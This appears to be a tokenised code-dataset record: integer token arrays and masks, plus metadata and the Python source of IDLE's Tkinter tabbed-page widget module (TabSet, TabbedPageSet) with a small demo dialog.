[ 3381, 2647, 15, 1393, 15, 1813, 2366, 199, 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 504, 636, 2443, 363, 492, 870, 63, 1593, 199, 199, 646, 984, 199, 646, 900, 199, 646, 7534, 199, 646, 5190, 199, 504, 2197, 492, 2197, 12, 6871, 199, 199, 646, 32250, 199, 646, 949, 15367, 864, 199, 199, 3593, 275, 378, 199, 9171, 275, 413, 199, 21539, 275, 499, 199, 11588, 275, 650, 421, 199, 533, 8142, 17213, 8, 785, 304, 272, 347, 636, 826, 721, 277, 304, 267, 291, 14, 4091, 275, 32250, 14, 8512, 63, 4091, 342, 339, 347, 664, 63, 6776, 8, 277, 304, 267, 372, 334, 1715, 459, 344, 418, 367, 2199, 315, 291, 14, 4091, 14, 513, 63, 6776, 1012, 339, 347, 664, 63, 3807, 8, 277, 12, 2199, 63, 1580, 12, 9395, 12, 10857, 12, 7609, 304, 267, 3631, 275, 2197, 14, 2131, 342, 267, 1343, 275, 3631, 446, 6871, 8, 10430, 29, 10430, 12, 10857, 29, 8419, 12, 7609, 29, 4899, 9, 267, 367, 1305, 63, 315, 2199, 63, 1580, 26, 288, 4503, 275, 334, 355, 291, 14, 4091, 14, 6765, 63, 1258, 14, 3807, 14, 362, 8, 344, 3131, 1343, 12, 3631, 680, 475, 63, 807, 1012, 288, 4503, 459, 344, 418, 275, 1305, 63, 288, 1995, 4503, 339, 347, 3343, 1175, 63, 1361, 8, 277, 12, 4503, 304, 267, 399, 521, 275, 900, 14, 521, 342, 267, 6370, 63, 515, 275, 298, 3807, 14, 6765, 14, 1715, 63, 344, 23379, 344, 26944, 354, 7063, 267, 24632, 275, 5310, 5165, 63, 515, 93, 469, 585, 93, 469, 521, 7063, 398, 367, 399, 1226, 315, 4503, 26, 288, 1305, 63, 275, 399, 1226, 459, 344, 418, 288, 367, 790, 12, 1139, 315, 399, 1226, 14, 1744, 837, 355, 340, 790, 315, 788, 344, 297, 283, 928, 297, 283, 2379, 297, 283, 1000, 63, 21503, 2565, 490, 1980, 355, 931, 275, 6370, 63, 515, 14, 908, 8, 344, 29, 344, 3131, 536, 29, 498, 9, 355, 870, 8, 548, 495, 14, 908, 8, 5165, 63, 515, 29, 515, 12, 574, 29, 637, 12, 900, 29, 24043, 430, 339, 347, 1255, 8, 277, 12, 1249, 304, 267, 11336, 275, 291, 14, 362, 63, 6776, 342, 267, 862, 26, 288, 4503, 275, 291, 14, 362, 63, 3807, 8, 355, 11336, 12, 1249, 14, 10430, 12, 1249, 14, 8419, 12, 1249, 14, 4899, 288, 776, 267, 871, 949, 15367, 864, 14, 3924, 14, 17454, 26, 288, 5190, 14, 1361, 63, 2804, 342, 288, 870, 360, 13913, 314, 3464, 1195, 365, 7526, 367, 376, 4628, 283, 2116, 283, 751, 3130, 570, 29, 1274, 14, 3083, 9, 288, 984, 14, 2224, 8, 21539, 9, 267, 291, 14, 2180, 1175, 63, 1361, 8, 3807, 9, 421, 199, 318, 2198, 63, 589, 837, 272, 1798, 275, 7534, 14, 10730, 342, 272, 1798, 14, 525, 63, 2094, 8, 267, 2850, 4899, 297, 267, 730, 29, 442, 12, 267, 849, 29, 16, 12, 267, 1720, 628, 3807, 6617, 671, 7609, 20313, 334, 2698, 26, 378, 2924, 272, 776, 272, 1798, 14, 525, 63, 2094, 8, 267, 2850, 8419, 297, 267, 730, 29, 442, 12, 267, 849, 29, 17, 12, 267, 1720, 628, 3807, 6617, 671, 10857, 20313, 334, 2698, 26, 413, 2924, 272, 776, 272, 1798, 14, 525, 63, 2094, 8, 267, 2850, 10430, 297, 267, 730, 29, 442, 12, 267, 849, 29, 16, 12, 267, 1720, 628, 3807, 6617, 671, 9395, 20313, 334, 2698, 26, 378, 2924, 272, 776, 272, 372, 1798, 14, 1122, 63, 589, 342, 421, 199, 318, 2446, 837, 272, 1249, 275, 2198, 63, 589, 342, 272, 8142, 17213, 1252, 1065, 8, 589, 9, 421, 199, 692, 636, 354, 363, 508, 2560, 973, 3706, 272, 2446, 342, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 2647, 15, 1393, 15, 1813, 2366, 199, 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 504, 636, 2443, 363, 492, 870, 63, 1593, 199, 199, 646, 984, 199, 646, 900, 199, 646, 7534, 199, 646, 5190, 199, 504, 2197, 492, 2197, 12, 6871, 199, 199, 646, 32250, 199, 646, 949, 15367, 864, 199, 199, 3593, 275, 378, 199, 9171, 275, 413, 199, 21539, 275, 499, 199, 11588, 275, 650, 421, 199, 533, 8142, 17213, 8, 785, 304, 272, 347, 636, 826, 721, 277, 304, 267, 291, 14, 4091, 275, 32250, 14, 8512, 63, 4091, 342, 339, 347, 664, 63, 6776, 8, 277, 304, 267, 372, 334, 1715, 459, 344, 418, 367, 2199, 315, 291, 14, 4091, 14, 513, 63, 6776, 1012, 339, 347, 664, 63, 3807, 8, 277, 12, 2199, 63, 1580, 12, 9395, 12, 10857, 12, 7609, 304, 267, 3631, 275, 2197, 14, 2131, 342, 267, 1343, 275, 3631, 446, 6871, 8, 10430, 29, 10430, 12, 10857, 29, 8419, 12, 7609, 29, 4899, 9, 267, 367, 1305, 63, 315, 2199, 63, 1580, 26, 288, 4503, 275, 334, 355, 291, 14, 4091, 14, 6765, 63, 1258, 14, 3807, 14, 362, 8, 344, 3131, 1343, 12, 3631, 680, 475, 63, 807, 1012, 288, 4503, 459, 344, 418, 275, 1305, 63, 288, 1995, 4503, 339, 347, 3343, 1175, 63, 1361, 8, 277, 12, 4503, 304, 267, 399, 521, 275, 900, 14, 521, 342, 267, 6370, 63, 515, 275, 298, 3807, 14, 6765, 14, 1715, 63, 344, 23379, 344, 26944, 354, 7063, 267, 24632, 275, 5310, 5165, 63, 515, 93, 469, 585, 93, 469, 521, 7063, 398, 367, 399, 1226, 315, 4503, 26, 288, 1305, 63, 275, 399, 1226, 459, 344, 418, 288, 367, 790, 12, 1139, 315, 399, 1226, 14, 1744, 837, 355, 340, 790, 315, 788, 344, 297, 283, 928, 297, 283, 2379, 297, 283, 1000, 63, 21503, 2565, 490, 1980, 355, 931, 275, 6370, 63, 515, 14, 908, 8, 344, 29, 344, 3131, 536, 29, 498, 9, 355, 870, 8, 548, 495, 14, 908, 8, 5165, 63, 515, 29, 515, 12, 574, 29, 637, 12, 900, 29, 24043, 430, 339, 347, 1255, 8, 277, 12, 1249, 304, 267, 11336, 275, 291, 14, 362, 63, 6776, 342, 267, 862, 26, 288, 4503, 275, 291, 14, 362, 63, 3807, 8, 355, 11336, 12, 1249, 14, 10430, 12, 1249, 14, 8419, 12, 1249, 14, 4899, 288, 776, 267, 871, 949, 15367, 864, 14, 3924, 14, 17454, 26, 288, 5190, 14, 1361, 63, 2804, 342, 288, 870, 360, 13913, 314, 3464, 1195, 365, 7526, 367, 376, 4628, 283, 2116, 283, 751, 3130, 570, 29, 1274, 14, 3083, 9, 288, 984, 14, 2224, 8, 21539, 9, 267, 291, 14, 2180, 1175, 63, 1361, 8, 3807, 9, 421, 199, 318, 2198, 63, 589, 837, 272, 1798, 275, 7534, 14, 10730, 342, 272, 1798, 14, 525, 63, 2094, 8, 267, 2850, 4899, 297, 267, 730, 29, 442, 12, 267, 849, 29, 16, 12, 267, 1720, 628, 3807, 6617, 671, 7609, 20313, 334, 2698, 26, 378, 2924, 272, 776, 272, 1798, 14, 525, 63, 2094, 8, 267, 2850, 8419, 297, 267, 730, 29, 442, 12, 267, 849, 29, 17, 12, 267, 1720, 628, 3807, 6617, 671, 10857, 20313, 334, 2698, 26, 413, 2924, 272, 776, 272, 1798, 14, 525, 63, 2094, 8, 267, 2850, 10430, 297, 267, 730, 29, 442, 12, 267, 849, 29, 16, 12, 267, 1720, 628, 3807, 6617, 671, 9395, 20313, 334, 2698, 26, 378, 2924, 272, 776, 272, 372, 1798, 14, 1122, 63, 589, 342, 421, 199, 318, 2446, 837, 272, 1249, 275, 2198, 63, 589, 342, 272, 8142, 17213, 1252, 1065, 8, 589, 9, 421, 199, 692, 636, 354, 363, 508, 2560, 973, 3706, 272, 2446, 342, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
harmy/kbengine
kbe/res/scripts/common/Lib/idlelib/tabbedpages.py
3
18659
"""An implementation of tabbed pages using only standard Tkinter. Originally developed for use in IDLE. Based on tabpage.py. Classes exported: TabbedPageSet -- A Tkinter implementation of a tabbed-page widget. TabSet -- A widget containing tabs (buttons) in one or more rows. """ from tkinter import * class InvalidNameError(Exception): pass class AlreadyExistsError(Exception): pass class TabSet(Frame): """A widget containing tabs (buttons) in one or more rows. Only one tab may be selected at a time. """ def __init__(self, page_set, select_command, tabs=None, n_rows=1, max_tabs_per_row=5, expand_tabs=False, **kw): """Constructor arguments: select_command -- A callable which will be called when a tab is selected. It is called with the name of the selected tab as an argument. tabs -- A list of strings, the names of the tabs. Should be specified in the desired tab order. The first tab will be the default and first active tab. If tabs is None or empty, the TabSet will be initialized empty. n_rows -- Number of rows of tabs to be shown. If n_rows <= 0 or is None, then the number of rows will be decided by TabSet. See _arrange_tabs() for details. max_tabs_per_row -- Used for deciding how many rows of tabs are needed, when the number of rows is not constant. See _arrange_tabs() for details. """ Frame.__init__(self, page_set, **kw) self.select_command = select_command self.n_rows = n_rows self.max_tabs_per_row = max_tabs_per_row self.expand_tabs = expand_tabs self.page_set = page_set self._tabs = {} self._tab2row = {} if tabs: self._tab_names = list(tabs) else: self._tab_names = [] self._selected_tab = None self._tab_rows = [] self.padding_frame = Frame(self, height=2, borderwidth=0, relief=FLAT, background=self.cget('background')) self.padding_frame.pack(side=TOP, fill=X, expand=False) self._arrange_tabs() def add_tab(self, tab_name): """Add a new tab with the name given in tab_name.""" if not tab_name: raise InvalidNameError("Invalid Tab name: '%s'" % tab_name) if tab_name in self._tab_names: raise AlreadyExistsError("Tab named '%s' already exists" %tab_name) self._tab_names.append(tab_name) self._arrange_tabs() def remove_tab(self, tab_name): """Remove the tab named <tab_name>""" if not tab_name in self._tab_names: raise KeyError("No such Tab: '%s" % page_name) self._tab_names.remove(tab_name) self._arrange_tabs() def set_selected_tab(self, tab_name): """Show the tab named <tab_name> as the selected one""" if tab_name == self._selected_tab: return if tab_name is not None and tab_name not in self._tabs: raise KeyError("No such Tab: '%s" % page_name) # deselect the current selected tab if self._selected_tab is not None: self._tabs[self._selected_tab].set_normal() self._selected_tab = None if tab_name is not None: # activate the tab named tab_name self._selected_tab = tab_name tab = self._tabs[tab_name] tab.set_selected() # move the tab row with the selected tab to the bottom tab_row = self._tab2row[tab] tab_row.pack_forget() tab_row.pack(side=TOP, fill=X, expand=0) def _add_tab_row(self, tab_names, expand_tabs): if not tab_names: return tab_row = Frame(self) tab_row.pack(side=TOP, fill=X, expand=0) self._tab_rows.append(tab_row) for tab_name in tab_names: tab = TabSet.TabButton(tab_name, self.select_command, tab_row, self) if expand_tabs: tab.pack(side=LEFT, fill=X, expand=True) else: tab.pack(side=LEFT) self._tabs[tab_name] = tab self._tab2row[tab] = tab_row # tab is the last one created in the above loop tab.is_last_in_row = True def _reset_tab_rows(self): while self._tab_rows: tab_row = self._tab_rows.pop() tab_row.destroy() self._tab2row = {} def _arrange_tabs(self): """ Arrange the tabs in rows, in the order in which they were added. If n_rows >= 1, this will be the number of rows used. Otherwise the number of rows will be calculated according to the number of tabs and max_tabs_per_row. In this case, the number of rows may change when adding/removing tabs. """ # remove all tabs and rows while self._tabs: self._tabs.popitem()[1].destroy() self._reset_tab_rows() if not self._tab_names: return if self.n_rows is not None and self.n_rows > 0: n_rows = self.n_rows else: # calculate the required number of rows n_rows = (len(self._tab_names) - 1) // self.max_tabs_per_row + 1 # not expanding the tabs with more than one row is very ugly expand_tabs = self.expand_tabs or n_rows > 1 i = 0 # index in self._tab_names for row_index in range(n_rows): # calculate required number of tabs in this row n_tabs = (len(self._tab_names) - i - 1) // (n_rows - row_index) + 1 tab_names = self._tab_names[i:i + n_tabs] i += n_tabs self._add_tab_row(tab_names, expand_tabs) # re-select selected tab so it is properly displayed selected = self._selected_tab self.set_selected_tab(None) if selected in self._tab_names: self.set_selected_tab(selected) class TabButton(Frame): """A simple tab-like widget.""" bw = 2 # borderwidth def __init__(self, name, select_command, tab_row, tab_set): """Constructor arguments: name -- The tab's name, which will appear in its button. select_command -- The command to be called upon selection of the tab. It is called with the tab's name as an argument. """ Frame.__init__(self, tab_row, borderwidth=self.bw, relief=RAISED) self.name = name self.select_command = select_command self.tab_set = tab_set self.is_last_in_row = False self.button = Radiobutton( self, text=name, command=self._select_event, padx=5, pady=1, takefocus=FALSE, indicatoron=FALSE, highlightthickness=0, selectcolor='', borderwidth=0) self.button.pack(side=LEFT, fill=X, expand=True) self._init_masks() self.set_normal() def _select_event(self, *args): """Event handler for tab selection. With TabbedPageSet, this calls TabbedPageSet.change_page, so that selecting a tab changes the page. Note that this does -not- call set_selected -- it will be called by TabSet.set_selected_tab, which should be called when whatever the tabs are related to changes. """ self.select_command(self.name) return def set_selected(self): """Assume selected look""" self._place_masks(selected=True) def set_normal(self): """Assume normal look""" self._place_masks(selected=False) def _init_masks(self): page_set = self.tab_set.page_set background = page_set.pages_frame.cget('background') # mask replaces the middle of the border with the background color self.mask = Frame(page_set, borderwidth=0, relief=FLAT, background=background) # mskl replaces the bottom-left corner of the border with a normal # left border self.mskl = Frame(page_set, borderwidth=0, relief=FLAT, background=background) self.mskl.ml = Frame(self.mskl, borderwidth=self.bw, relief=RAISED) self.mskl.ml.place(x=0, y=-self.bw, width=2*self.bw, height=self.bw*4) # mskr replaces the bottom-right corner of the border with a normal # right border self.mskr = Frame(page_set, borderwidth=0, relief=FLAT, background=background) self.mskr.mr = Frame(self.mskr, borderwidth=self.bw, relief=RAISED) def _place_masks(self, selected=False): height = self.bw if selected: height += self.bw self.mask.place(in_=self, relx=0.0, x=0, rely=1.0, y=0, relwidth=1.0, width=0, relheight=0.0, height=height) self.mskl.place(in_=self, relx=0.0, x=-self.bw, rely=1.0, y=0, relwidth=0.0, width=self.bw, relheight=0.0, height=height) page_set = self.tab_set.page_set if selected and ((not self.is_last_in_row) or (self.winfo_rootx() + self.winfo_width() < page_set.winfo_rootx() + page_set.winfo_width()) ): # for a selected tab, if its rightmost edge isn't on the # rightmost edge of the page set, the right mask should be one # borderwidth shorter (vertically) height -= self.bw self.mskr.place(in_=self, relx=1.0, x=0, rely=1.0, y=0, relwidth=0.0, width=self.bw, relheight=0.0, height=height) self.mskr.mr.place(x=-self.bw, y=-self.bw, width=2*self.bw, height=height + self.bw*2) # finally, lower the tab set so that all of the frames we just # placed hide it self.tab_set.lower() class TabbedPageSet(Frame): """A Tkinter tabbed-pane widget. Constains set of 'pages' (or 'panes') with tabs above for selecting which page is displayed. Only one page will be displayed at a time. Pages may be accessed through the 'pages' attribute, which is a dictionary of pages, using the name given as the key. A page is an instance of a subclass of Tk's Frame widget. The page widgets will be created (and destroyed when required) by the TabbedPageSet. Do not call the page's pack/place/grid/destroy methods. Pages may be added or removed at any time using the add_page() and remove_page() methods. """ class Page(object): """Abstract base class for TabbedPageSet's pages. Subclasses must override the _show() and _hide() methods. """ uses_grid = False def __init__(self, page_set): self.frame = Frame(page_set, borderwidth=2, relief=RAISED) def _show(self): raise NotImplementedError def _hide(self): raise NotImplementedError class PageRemove(Page): """Page class using the grid placement manager's "remove" mechanism.""" uses_grid = True def _show(self): self.frame.grid(row=0, column=0, sticky=NSEW) def _hide(self): self.frame.grid_remove() class PageLift(Page): """Page class using the grid placement manager's "lift" mechanism.""" uses_grid = True def __init__(self, page_set): super(TabbedPageSet.PageLift, self).__init__(page_set) self.frame.grid(row=0, column=0, sticky=NSEW) self.frame.lower() def _show(self): self.frame.lift() def _hide(self): self.frame.lower() class PagePackForget(Page): """Page class using the pack placement manager's "forget" mechanism.""" def _show(self): self.frame.pack(fill=BOTH, expand=True) def _hide(self): self.frame.pack_forget() def __init__(self, parent, page_names=None, page_class=PageLift, n_rows=1, max_tabs_per_row=5, expand_tabs=False, **kw): """Constructor arguments: page_names -- A list of strings, each will be the dictionary key to a page's widget, and the name displayed on the page's tab. Should be specified in the desired page order. The first page will be the default and first active page. If page_names is None or empty, the TabbedPageSet will be initialized empty. n_rows, max_tabs_per_row -- Parameters for the TabSet which will manage the tabs. See TabSet's docs for details. page_class -- Pages can be shown/hidden using three mechanisms: * PageLift - All pages will be rendered one on top of the other. When a page is selected, it will be brought to the top, thus hiding all other pages. Using this method, the TabbedPageSet will not be resized when pages are switched. (It may still be resized when pages are added/removed.) * PageRemove - When a page is selected, the currently showing page is hidden, and the new page shown in its place. Using this method, the TabbedPageSet may resize when pages are changed. * PagePackForget - This mechanism uses the pack placement manager. When a page is shown it is packed, and when it is hidden it is unpacked (i.e. pack_forget). This mechanism may also cause the TabbedPageSet to resize when the page is changed. """ Frame.__init__(self, parent, **kw) self.page_class = page_class self.pages = {} self._pages_order = [] self._current_page = None self._default_page = None self.columnconfigure(0, weight=1) self.rowconfigure(1, weight=1) self.pages_frame = Frame(self) self.pages_frame.grid(row=1, column=0, sticky=NSEW) if self.page_class.uses_grid: self.pages_frame.columnconfigure(0, weight=1) self.pages_frame.rowconfigure(0, weight=1) # the order of the following commands is important self._tab_set = TabSet(self, self.change_page, n_rows=n_rows, max_tabs_per_row=max_tabs_per_row, expand_tabs=expand_tabs) if page_names: for name in page_names: self.add_page(name) self._tab_set.grid(row=0, column=0, sticky=NSEW) self.change_page(self._default_page) def add_page(self, page_name): """Add a new page with the name given in page_name.""" if not page_name: raise InvalidNameError("Invalid TabPage name: '%s'" % page_name) if page_name in self.pages: raise AlreadyExistsError( "TabPage named '%s' already exists" % page_name) self.pages[page_name] = self.page_class(self.pages_frame) self._pages_order.append(page_name) self._tab_set.add_tab(page_name) if len(self.pages) == 1: # adding first page self._default_page = page_name self.change_page(page_name) def remove_page(self, page_name): """Destroy the page whose name is given in page_name.""" if not page_name in self.pages: raise KeyError("No such TabPage: '%s" % page_name) self._pages_order.remove(page_name) # handle removing last remaining, default, or currently shown page if len(self._pages_order) > 0: if page_name == self._default_page: # set a new default page self._default_page = self._pages_order[0] else: self._default_page = None if page_name == self._current_page: self.change_page(self._default_page) self._tab_set.remove_tab(page_name) page = self.pages.pop(page_name) page.frame.destroy() def change_page(self, page_name): """Show the page whose name is given in page_name.""" if self._current_page == page_name: return if page_name is not None and page_name not in self.pages: raise KeyError("No such TabPage: '%s'" % page_name) if self._current_page is not None: self.pages[self._current_page]._hide() self._current_page = None if page_name is not None: self._current_page = page_name self.pages[page_name]._show() self._tab_set.set_selected_tab(page_name) if __name__ == '__main__': # test dialog root=Tk() tabPage=TabbedPageSet(root, page_names=['Foobar','Baz'], n_rows=0, expand_tabs=False, ) tabPage.pack(side=TOP, expand=TRUE, fill=BOTH) Label(tabPage.pages['Foobar'].frame, text='Foo', pady=20).pack() Label(tabPage.pages['Foobar'].frame, text='Bar', pady=20).pack() Label(tabPage.pages['Baz'].frame, text='Baz').pack() entryPgName=Entry(root) buttonAdd=Button(root, text='Add Page', command=lambda:tabPage.add_page(entryPgName.get())) buttonRemove=Button(root, text='Remove Page', command=lambda:tabPage.remove_page(entryPgName.get())) labelPgName=Label(root, text='name of page to add/remove:') buttonAdd.pack(padx=5, pady=5) buttonRemove.pack(padx=5, pady=5) labelPgName.pack(padx=5) entryPgName.pack(padx=5) root.mainloop()
lgpl-3.0
[ 624, 2493, 4514, 402, 5174, 6123, 6497, 1808, 1454, 4465, 16826, 14, 2999, 199, 12834, 1183, 477, 27813, 367, 675, 315, 23240, 14, 21311, 641, 5174, 1606, 14, 647, 14, 2999, 199, 15711, 16629, 26, 202, 199, 7690, 6123, 3276, 1084, 1553, 437, 16826, 4514, 402, 282, 5174, 6123, 13, 1606, 3938, 14, 202, 199, 7690, 1084, 1553, 437, 3938, 3035, 12187, 334, 15687, 9, 315, 1373, 503, 1655, 4730, 14, 2999, 199, 624, 202, 199, 504, 22171, 492, 627, 2999, 199, 533, 6378, 985, 547, 8, 1726, 304, 986, 202, 199, 533, 21086, 23839, 8, 1726, 304, 986, 8065, 199, 533, 23159, 1084, 8, 3160, 304, 1128, 408, 33, 3938, 3035, 12187, 334, 15687, 9, 315, 1373, 503, 1655, 4730, 14, 2958, 5972, 1373, 5174, 1443, 506, 4895, 737, 282, 900, 14, 2958, 408, 1128, 347, 636, 826, 721, 277, 12, 2034, 63, 409, 12, 3504, 63, 1531, 12, 20085, 12187, 29, 403, 12, 302, 63, 3838, 29, 17, 12, 1390, 63, 8741, 63, 529, 63, 1143, 29, 21, 12, 20085, 6544, 63, 8741, 29, 797, 12, 1011, 829, 304, 1039, 408, 11447, 2368, 26, 4341, 3504, 63, 1531, 1553, 437, 4550, 1314, 911, 506, 2797, 1380, 282, 5174, 365, 1039, 4895, 14, 2779, 365, 2797, 543, 314, 536, 402, 314, 4895, 5174, 465, 376, 1039, 1423, 14, 4341, 12187, 1553, 437, 769, 402, 3326, 12, 314, 1561, 402, 314, 12187, 14, 7719, 506, 2013, 315, 1039, 314, 6387, 5174, 1865, 14, 710, 1642, 5174, 911, 506, 314, 849, 436, 1642, 1039, 4702, 5174, 14, 982, 12187, 365, 488, 503, 2701, 12, 314, 23159, 1084, 911, 506, 10038, 1039, 2701, 14, 4341, 302, 63, 3838, 1553, 4860, 402, 